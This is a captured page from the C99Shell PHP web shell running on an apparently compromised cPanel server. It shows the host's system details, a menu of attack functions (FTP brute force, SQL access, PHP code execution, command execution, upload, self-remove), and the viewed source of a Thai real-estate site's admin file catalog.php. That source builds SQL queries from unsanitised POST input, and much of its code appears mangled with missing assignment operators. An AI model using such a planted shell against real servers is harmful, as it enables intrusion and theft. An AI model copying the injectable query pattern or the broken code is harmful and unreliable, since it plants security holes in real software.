!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/krupimhomecenter.com/office/   drwxr-xr-x
Free 237.85 GB of 981.82 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     catalog.php (5.46 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<? 
include 'index_IncludeAdmin.php'
$_SESSION['page'] = 'catalog.php';

$Row "SELECT * FROM catalog";
$RowQuery mysqli_query($con,$Row) or die ("Error Query [".$Row."]");
$Num_Rows mysqli_num_rows($RowQuery);
$Per_Page 20;  
$Page $_GET["Page"];
if(!
$_GET["Page"]){
    
$Page=1;
}
$Prev_Page $Page-1;
$Next_Page $Page+1;
$Page_Start = (($Per_Page*$Page)-$Per_Page);
if(
$Num_Rows<=$Per_Page){
    
$Num_Pages =1;
}
else if((
$Num_Rows $Per_Page)==0){
    
$Num_Pages =($Num_Rows/$Per_Page) ;
}
else{
    
$Num_Pages =($Num_Rows/$Per_Page)+1;
    
$Num_Pages = (int)$Num_Pages;
}
$i=$Page_Start+1;

$catalog_SL $Row." ORDER BY catalog_sort ASC LIMIT $Page_Start , $Per_Page ";
$catalog_QR     mysqli_query($con,$catalog_SL);


?>

<!DOCTYPE html>
<html>
<head>
    <? include 'index_Head.php'?>
</head>
<body>
    <? include 'index_Navbar.php'?>    
    <div class="container-fluid">
        <div class="row">
            <div class="col-md-2" id="main-left">
                <div class="row">
                    <div class="col-md-12">
                        <? include 'index_AdminMenu.php'?>
                    </div>
                </div>
            </div>
            <div class="col-md-10">
                <div class="row">
                    <div class="col-md-12">
                        <h3>  จัดการ ประเภทอสังหาฯ  </h3>
                        <hr>
                    </div>
                </div>
                <? include 'index_Alerts.php'?>
                <div class="row">
                    <div class="col-md-12 br-margin2">
                        <a href="catalog_add.php" class="btn btn-success">
                            <span class="glyphicon glyphicon-plus-sign"></span>
                            เพิ่มประเภทอสังหาฯ
                        </a>
                    </div>
                    <div class="col-md-12">
                        <div class="panel panel-default">
                            <div class="panel-heading">
                                <div class="row">
                                    <div class="col-md-6">
                                        ประเภทอสังหาฯทั้งหมด 
                                        <span class="badge"> <? echo "$Num_Rows"?></span> 
                                        <?
                                        
if ($Num_Rows=='0') {
                                            
?>
                                            <span class="text-red">
                                                คุณยังไม่มีข้อมูลนี้กรุณาเพิ่ม
                                            </span>
                                            <?
                                        
}
                                        
?>
                                    </div>
                                    <div class="col-md-6 text-right" style="margin: -5px;">
                                        <a class="btn btn-default" onclick="location.reload()">
                                            รีเฟรชหน้า
                                        </a>
                                        <a class="btn btn-default" onclick="goBack()">
                                            <span class="glyphicon glyphicon-backward">
                                                
                                            </span>
                                            กลับ
                                        </a>
                                    </div>
                                </div>
                            </div>
                            <div class="panel-body">    
                                <div class="table-responsive">
                                    <table class="table table-striped">
                                        <thead>
                                            <tr>
                                                <th>#</th>
                                                <th>รูปประเภทอสังหาฯ</th>
                                                <th>ประเภทอสังหาฯ</th>
                                                <th>รายละเอียด , แก้ไข , ลบ</th>
                                            </tr>
                                        </thead>
                                        <tbody class="row_position">
                                            <?
                                            
while ($catalog     mysqli_fetch_array($catalog_QR)) {
                                                
?>
                                                <tr id="<?php echo $catalog['catalog_id'?>">
                                                    <td><? echo $i?></td>
                                                    <td style="width: 150px;">
                                                        <?
                                                        
if (isset($catalog[catalog_photo])&&trim($catalog[catalog_photo])!='') {
                                                            
?>
                                                            <div class="img90">
                                                                <img  src="../Files/catalog_photo/<?php echo $catalog[catalog_photo]; ?>" class="boxsha"  />
                                                            </div>
                                                            <?
                                                        
}
                                                        else{
                                                            echo 
" - ";
                                                        }
                                                        
?>
                                                        
                                                    </td>
                                                    <td>
                                                        <? echo $catalog[catalog_name]; ?>
                                                    </td>
                                                    <td>
                                                        <a href="catalog_one.php?catalog_id=<?php echo $catalog[catalog_id]; ?>" class="btn btn-primary">
                                                            <span class="glyphicon glyphicon-zoom-in"></span>
                                                            รายละเอียด  
                                                        </a>
                                                        <a href="catalog_update.php?catalog_id=<?php echo $catalog[catalog_id]; ?>" class="btn btn-info">
                                                            <span class="glyphicon glyphicon-edit"></span>
                                                            แก้ไข
                                                        </a>
                                                        <a href="catalog_del.php?catalog_id=<?php echo $catalog[catalog_id]; ?>" onclick="return confirm(' ยืนยันการลบข้อมูล ?  ')"  class="btn btn-danger">
                                                            <span class="glyphicon glyphicon-trash"></span>
                                                            ลบ
                                                        </a>
                                                    </td>
                                                </tr>
                                                <?
                                                $i
++;
                                            }
                                            
?>
                                        </tbody>
                                    </table>
                                </div>

                            </div>
                            <div class="panel-footer">
                                <? include 'index_pagenum.php'?>
                            </div>
                        </div>

                    </div>
                    <!-- 12 -->
                </div>
                <!-- row -->
            </div>
            <!-- 10 -->
        </div>
        <!-- row -->
    </div>
    <!-- container -->
    
</body>
<?
$position 
$_POST['position'];
$catalog_sort_i=1;
foreach(
$position as $k=>$v){
    
$sql "Update catalog SET catalog_sort=".$catalog_sort_i." WHERE catalog_id =".$v;
    
$mysqli->query($sql);
    
$catalog_sort_i++;
}
?>
<script type="text/javascript">
    $( ".row_position" ).sortable({
        delay: 150,
        stop: function() {
            var selectedData = new Array();
            $('.row_position>tr').each(function() {
                selectedData.push($(this).attr("id"));
            });
            updateOrder(selectedData);
        }
    });
    function updateOrder(data) {
        $.ajax({
            url:"catalog.php",
            type:'post',
            data:{position:data},
            success:function(){
            }
        })
    }
</script>
</html>



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.012 ]--